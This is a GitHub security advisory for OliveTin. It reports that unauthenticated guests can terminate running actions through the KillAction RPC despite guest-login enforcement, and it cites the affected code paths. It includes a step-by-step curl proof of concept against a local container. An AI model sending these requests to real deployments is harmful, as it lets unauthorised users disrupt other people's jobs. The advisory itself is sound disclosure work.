GHSA-4fqm-6fmh-82mq OliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login

• Go github.com/OliveTin/OliveTin: < 0.0.0-20260302002902-d9804182eae4 → fixed in 0.0.0-20260302002902-d9804182eae4

Summary OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions. Details The issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs. KillAction() authenticates the caller and applies only the per-action kill ACL check: • service/internal/api/api.go:62 However, it does not enforce the guest login requirement. The guest/login gate exists separately in: • service/internal/api/api.go:474 That gate is used by dashboard-style methods, but not by KillAction. In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged: • service/internal/config/sanitize.go:160 Specifically: • DefaultPermissions.View = false • DefaultPermissions.Exec = false • DefaultPermissions.Logs = false • DefaultPermissions.Kill remains unchanged As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill(): • service/internal/acl/acl.go:133 I validated this behavior on a clean 3000.10.2 setup: • guests were denied access to GetDashboard • an authenticated admin user started a long-running action • an unauthenticated guest successfully called KillAction • the action was terminated This confirms a real authorization bypass affecting action termination. PoC Tested version: ``` 3000.10.2 ``` 1. Create a minimal config: ```bash mkdir -p /tmp/olivetin-kill-bypass cat > /tmp/olivetin-kill-bypass/config.yaml /dev/null || true docker run -d --name olivetin-kill-bypass \ -p 1347:1337 \ -v /tmp/olivetin-kill-bypass:/config:ro \ ghcr.io/olivetin/olivetin:3000.10.2 ``` 3. Confirm the server is ready: ```bash curl -i http://127.0.0.1:1347/readyz ``` 4. Prove guests are blocked from dashboard access: ```bash curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \ -H 'Content-Type: application/json' \ --data '{"title":"default"}' Observed response: HTTP/1.1 403 Forbidden {"code":"permission_denied","message":"guests are not allowed to access the dashboard"} ``` 5. Log in as admin: ```bash curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \ -H 'Content-Type: application/json' \ --data '{"username":"admin","password":"SecretPass123!"}' ``` 6. Start a long-running action as admin: ```bash curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \ -H 'Content-Type: application/json' \ --data '{"bindingId":"long-running","arguments":[],"uniqueTrackingId":"kill-hunt-1"}' Observed response: HTTP/1.1 200 OK {"executionTrackingId":"kill-hunt-1"} ``` 7. Kill it as an unauthenticated guest: ```bash curl -i -X POST http://127.0.0.1:1347/api/KillAction \ -H 'Content-Type: application/json' \ --data '{"executionTrackingId":"kill-hunt-1"}' ``` Observed response: ```bash HTTP/1.1 200 OK {"executionTrackingId":"kill-hunt-1","killed":true,"alreadyCompleted":false,"found":true} ``` 8. Confirm in container logs: ```bash docker logs olivetin-kill-bypass 2>&1 | tail -n 120 ``` Observed relevant lines: ```bash Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/GetDashboard" ... username="guest" Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/StartAction" ... username="admin" Action started actionTitle="long-running" Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/KillAction" ... username="guest" Killing execution request by tracking ID: kill-hunt-1 Action finished actionTitle="long-running" exit="-1" ``` This proves: • guests are denied dashboard access • guests can still invoke KillAction • the running action is successfully terminated by an unauthenticated user Impact This is an unauthenticated broken access control vulnerability resulting in denial of service. An unauthenticated guest can: • terminate active jobs started by legitimate users • disrupt long-running administrative or operational workflows • interfere with privileged actions without being allowed to log in Who is impacted: • OliveTin deployments with authRequireGuestsToLogin: true • multi-user environments where actions may run for meaningful durations • operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted through adjacent leaks or shared operator knowledge.